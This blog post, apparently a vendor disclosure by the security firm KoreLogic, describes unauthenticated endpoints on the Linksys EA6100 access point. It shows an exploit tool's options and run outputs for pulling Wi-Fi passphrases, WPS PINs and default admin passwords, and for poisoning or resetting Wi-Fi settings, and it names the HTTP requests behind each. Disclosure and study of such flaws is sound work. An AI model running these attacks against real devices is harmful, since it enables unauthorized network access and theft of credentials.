Hello folks, welcome to the first of a four part blog mini-series on firmware and embedded devices. My name is Matt Bergin and i'll be guiding you through the series. We plan to release each part of the series on the Friday of each week in December. The release of the final part in our series is dependent on our responsible disclosure timeline holding for a finding, but we're pretty confident.

We're going to start slowly and with something simple. Today's tale is about a little access point that tried and tried but just couldn't keep its mouth shut. If it has an IP it'll talk, and what it says you might not like. Though, we tried to make it stop (see the timeline in the advisory), it didn't seem to matter to the manufacturer. So here we are: an 0day to help start your holiday season.

Sincerely,

KoreLogic

Onward and upward!

You can purchase the vulnerable device and download the corresponding firmware here: http://www.linksys.com/us/support-product?pid=01t80000003cVuwAAE

We'll start off by doing what every other blog on firmware reversing tells you to do: run binwalk. In this case, it will work without any changes and you'll end up with a sub-directory containing the files you're going to want. If you would rather work off of a live system, JTAG pins are on the board and the console can be found with your baudrate set to 115200.

# ls bin etc JNAP libexec mnt proc sbin tmp var dev home lib linuxrc opt root sys usr www # cd www # ls bootloader_info.cgi incoming_log.txt security_log.txt cgi-bin jcgi speedtest_info.cgi dhcp_log.txt JNAP sysinfo.cgi ezwifi_cfg.cgi license.pdf ui get_counter_info.cgi outgoing_log.txt usbinfo.cgi getstinfo.cgi qos_info.cgi

There are a many CGI files of interest, I will only talk about a few.

# ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi # ls -la getstinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/getstinfo.cgi # ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 ezwifi_cfg.cgi -> /www/ui/cgi/ezwifi_cfg.cgi

These files are accessible from an unauthenticated perspective and allow the pentester to perform a variety of actions. A pentesting team with one person who is simultaneously conducting attacks from an already established network location and a geographically separate person oriented near the access point who desires access to the affected network could then use attacks like this to their advantage. This approach will reduce the need for internet facing assets whose use may compromise the engagement while allowing for a higher degree of persistency and anonymity. These attacks are a good example of why enterprise-grade wireless security is so important.

$ python kl-linksys-ea6100-auth-bypass.py --help Brought to you by Level at KoreLogic Usage: kl-linksys-ea6100-auth-bypass.py [options] Options: -h, --help show this help message and exit --host=HOST Target IP address --sysinfo Get target system information --getpwhash Get target wireless password hash --getclearpw Get target wireless SSID and cleartext password --isdefault Check if target is running the default admin credential (if yes, obtain passphrase) --resetwifi Reset the access point security (requires default passphrase) --poisonwifi Poison the access point security settings --getwpspin Get the WPS pin for the target

The switches above and their corresponding description convey the functionality built into our exploit.

The first is --isdefault which works by sending the access point management interface a JNAP action over HTTP. The JNAP functionality within the EA series access points has been discussed previously; see for example https://github.com/Qanan/Linksys-JNAP-Siphon

This tool does indeed siphon out some interesting information, even information that is redundant to what we obtain through separate methods. While it used to be quite popular for the default admin account in these types of devices to just be admin/admin we found that is no longer the case for the EA series. Instead we found a (seemingly) random password on the label for our hardware. We didn't look, but lets just hope it isn't based on the serial number of the device or any other predicatable value really.

So, what does --isdefault do? It sends an HTTP request to the access point with a header name X-JNAP-Action whose value is a URL.

Example: http://linksys.com/jnap/core/IsAdminPasswordDefault

The access point will return an HTTP 200 with a JSON string. The string contains a key named 'output' which also contains a JSON value. This value has a key named 'isAdminPasswordDefault' and contains a boolean indicating whether or not the password has been changed.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --isdefault Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Checking if administrator passphrase is default - [!] Passphrase is not default

I changed the password, but what if I had not yet changed it? I mean, it's not admin/admin anymore so I should good right? Wrong. The access point will tell _anyone_ the default admin password regardless if it's set or not. In cases where isAdminPasswordDefault is True, the exploit will obtain the default password in clear text. You'll see this in action later on.

What about getting access to the wireless network? Well, there are a few options. If you don't mind cracking hashes then --getpwhash will make an HTTP call to the access point at getstinfo.cgi which will then return the values shown below.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getpwhash Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Obtaining wireless password hash - SSID=[redacted] Passphrase=[redacted]

What if you want to use WPS instead? No problem, just run --getwpspin. This makes an HTTP call to sysinfo.cgi and then parses the response for the value.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getwpspin Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Getting WPS pin - WPS PIN: [redacted]

If you don't want to use any of those or maybe you just want the WPA2 password, you can use --getclearpw. This also makes a HTTP call to sysinfo.cgi, except this will search for the wireless security settings which are stored in cleartext.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --getclearpw Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Obtaining wireless ssid and password - wl0 Passphrase: [redacted] wl0 SSID: [redacted] wl1 Passphrase: [redacted] wl1 SSID: [redacted]

If you're looking for a "poison the well" type attack, then --poisonwifi is for you. This switch makes an HTTP call that will reconfigure NVRAM so the next time a change is applied your poisoned wireless settings will also get applied. Once the HTTP call to poison the settings has taken place, the exploit will call --getclearpw and search for your poisoned settings to ensure poisoning has taken place.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --poisonwifi Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Poisoning wireless ssid configuration [+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI

Say stealth doesn't matter and this attack vector is still your best shot for some reason, if --isdefault is True the exploit can automatically reconfigure the wireless settings for quick network access. Using the switch --resetwifi will run --isdefault and if it returns True, it will then run a separate JNAP action that will perform the reconfiguration.

$ python kl-linksys-ea6100-auth-bypass.py --host [redacted] --resetwifi Brought to you by Level at KoreLogic [+] Target host is alive, proceeding. [+] Resetting the access point security [+] Admin password is default, asking for the password [+] Got the passphrase: [redacted] [+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2

I hope you enjoyed reading this blog. Next week we will talk about a cloud-based smart lawn watering solution and how to retain cool functionality in smart gadgets while removing third-party access to your network. Cheers!